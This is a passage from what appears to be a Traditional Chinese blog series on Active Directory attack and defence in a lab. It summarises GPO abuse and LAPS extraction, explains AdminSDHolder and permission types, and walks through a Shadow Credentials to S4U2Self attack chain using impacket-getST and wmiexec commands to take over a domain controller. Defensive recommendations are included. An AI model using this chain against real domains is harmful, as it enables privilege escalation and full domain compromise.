LAPS 的安全性不依賴密碼的加密,而是依賴 權限控制 + 密碼獨特性 + 定期輪換。每台電腦的密碼都不同(防止橫向移動),透過 ACL 限制誰可以讀取(最小權限原則),並且自動定期更新密碼(限制憑證有效期)。雖然密碼是明文儲存,但透過這些機制的結合,LAPS 仍然是管理本地管理員密碼的最佳實踐。

實戰總結

今天我們完成了一次完整的 GPO 濫用與 LAPS 密碼提取實戰演練。

關鍵收穫

1. GPO 濫用的威力與風險

  • 影響範圍廣(所有套用 GPO 的電腦)
  • 權限高(SYSTEM)
  • 持久性強(不自動還原)
  • 絕對不在生產環境使用

2. LAPS 的正確理解

  • 明文儲存不等於不安全
  • 安全性來自權限控制和密碼輪換
  • 正確設定是關鍵
  • 密碼提取成功 ≠ 密碼可用(需要驗證同步狀態)

防禦要點

  1. 定期審計 ACL

    • 使用 BloodHound 視覺化攻擊路徑
    • 移除不必要的高危險權限
  2. 保護高價值目標

    • Domain Admins 加入 Protected Users
    • 限制對 DC 物件的寫入權限
  3. GPO 安全

    • 嚴格限制 GPO 修改權限
    • 監控 SYSVOL 的修改
    • 定期備份 GPO
  4. LAPS 最佳實踐

    • 最小權限原則
    • 啟用審計
    • 定期審查權限設定
    • 驗證 LAPS 實際運作狀態

附錄 A:AdminSDHolder 深度解析

AdminSDHolder 運作機制

AdminSDHolder 是 Active Directory 的一個保護機制,專門用來保護高權限群組:

工作原理:

1. SDProp (Security Descriptor Propagator) 執行緒每 60 分鐘執行一次
2. 檢查所有受保護群組及其成員(adminCount=1)
3. 從 CN=AdminSDHolder,CN=System,DC=domain,DC=local 複製 ACL
4. 覆蓋到受保護物件的 ACL
5. 任何手動新增的 ACL 被移除

受保護的群組清單:

  • Domain Admins
  • Enterprise Admins
  • Schema Admins
  • Administrators
  • Account Operators
  • Backup Operators
  • Print Operators
  • Server Operators
  • Domain Controllers
  • Replicator
  • Read-only Domain Controllers
  • 以及這些群組的成員

實際影響:

時間軸:
T0    - 設定 tywin.lannister 對 Domain Admins 有 GenericWrite
T0+1  - 攻擊成功,可以利用
T0+30 - 仍然可以利用
T0+60 - SDProp 執行,ACL 被重置
T0+61 - 攻擊失效,ACL 不存在

檢查受保護狀態:

# 查詢 adminCount 屬性
Get-ADUser -Filter * -Properties adminCount | 
  Where-Object { $_.adminCount -eq 1 } |
  Select-Object Name, adminCount

手動觸發 SDProp(不等 60 分鐘):

# 在 DC 上執行(需要 DA 權限)
$RootDSE = [ADSI]"LDAP://RootDSE"
$RootDSE.Put("runProtectAdminGroupsTask", "1")
$RootDSE.SetInfo()

附錄 B:權限類型詳解

GenericWrite 與 WriteDacl 比較

GenericWrite(通用寫入):

允許的操作:
├── 修改大部分物件屬性
│   ├── scriptPath
│   ├── profilePath
│   ├── servicePrincipalName
│   ├── msDS-KeyCredentialLink (Shadow Credentials)
│   └── userAccountControl (部分屬性)
├── 但不包括:
│   ├── DACL(訪問控制清單)
│   ├── Owner(擁有者)
│   └── 某些敏感屬性

WriteDacl(寫入 ACL):

允許的操作:
└── 修改物件的 DACL(訪問控制清單)
    ↓
    可以給自己授予任意權限
    ↓
    包括 GenericAll(完全控制)

權限範圍矩陣:

操作 GenericWrite WriteDacl GenericAll
修改一般屬性 ✓ ❌ ✓
Shadow Credentials ✓ ❌(需先授予自己權限) ✓
新增 SPN ✓ ❌ ✓
修改 ACL ❌ ✓ ✓
重置密碼 ❌ ❌ ✓
修改群組成員 ❌ ❌ ✓

附錄 C:S4U2Self 機制詳解

為什麼 DC 機器帳號如此強大?

域控制器的機器帳號(DC$)具有特殊屬性:

TrustedToAuthForDelegation = True(協定轉換)
TrustedForDelegation = True(無約束委派)
└── 這允許 DC 執行 S4U2Self 和 S4U2Proxy

S4U2Self 的作用:

Service for User to Self (S4U2Self)
↓
允許服務代表任意使用者取得該使用者的 TGS
↓
不需要:
- 使用者的密碼
- 使用者的 Hash
- 使用者的 TGT
↓
只需要:
- 服務本身的憑證(DC$)
- TrustedToAuthForDelegation 屬性

攻擊流程:

1. 攻擊者透過 Shadow Credentials 取得 kingslanding$ 的憑證
   ↓
   獲得:kingslanding.ccache (TGT) + NT Hash

2. 使用 kingslanding$ 的 TGT 執行 S4U2Self
   ↓
   impacket-getST -self -impersonate "Administrator" ...

3. S4U2Self 請求
   ↓
   kingslanding$ 向 KDC 說:
   「我需要代表 Administrator 存取我自己的服務」
   ↓
   KDC 檢查:
   - kingslanding$ 有 TrustedToAuthForDelegation? ✓ 是
   - 要求冒充的是 Administrator? ✓ 允許
   ↓
   KDC 發放:Administrator 的 TGS(針對 kingslanding$)

4. 使用 -altservice 修改 SPN
   ↓
   將服務從 HOST/kingslanding 改為 CIFS/kingslanding
   ↓
   現在可以用 Administrator 身份存取 SMB

5. 使用票證連接
   ↓
   impacket-wmiexec -k -no-pass Administrator@kingslanding
   ↓
   完全控制域控制器

為什麼 DC 必須有這個能力?

合法用途:
1. 使用者透過 NTLM 認證到 Web 伺服器
2. Web 伺服器需要以使用者身份存取後端資料庫
3. Web 伺服器使用 S4U2Self 取得使用者的 TGS
4. 使用 S4U2Proxy 將 TGS 轉換為資料庫的服務票證
5. 以使用者身份存取資料庫(保持審計追蹤)

這是「協定轉換(Protocol Transition)」的設計目的

檢查電腦是否有此能力:

# 查詢有 TrustedToAuthForDelegation 的電腦
Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation,ServicePrincipalName

# 通常只有 DC
Name           TrustedToAuthForDelegation ServicePrincipalName
----           -------------------------- --------------------
KINGSLANDING   True                       {HOST/KINGSLANDING, ...}
WINTERFELL     True                       {HOST/WINTERFELL, ...}

參考資源

官方文件


上一篇
AD 攻防實戰演練 Day 19:掌握 Active Directory ACL 攻擊鏈 從低權限使用者到域控制器的完整滲透路徑
下一篇
AD 攻防實戰演練 Day 21:Active Directory 子域提權攻擊完全解析 - 從信任關係到父域控制
系列文
資安這條路:AD 攻防實戰演練 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言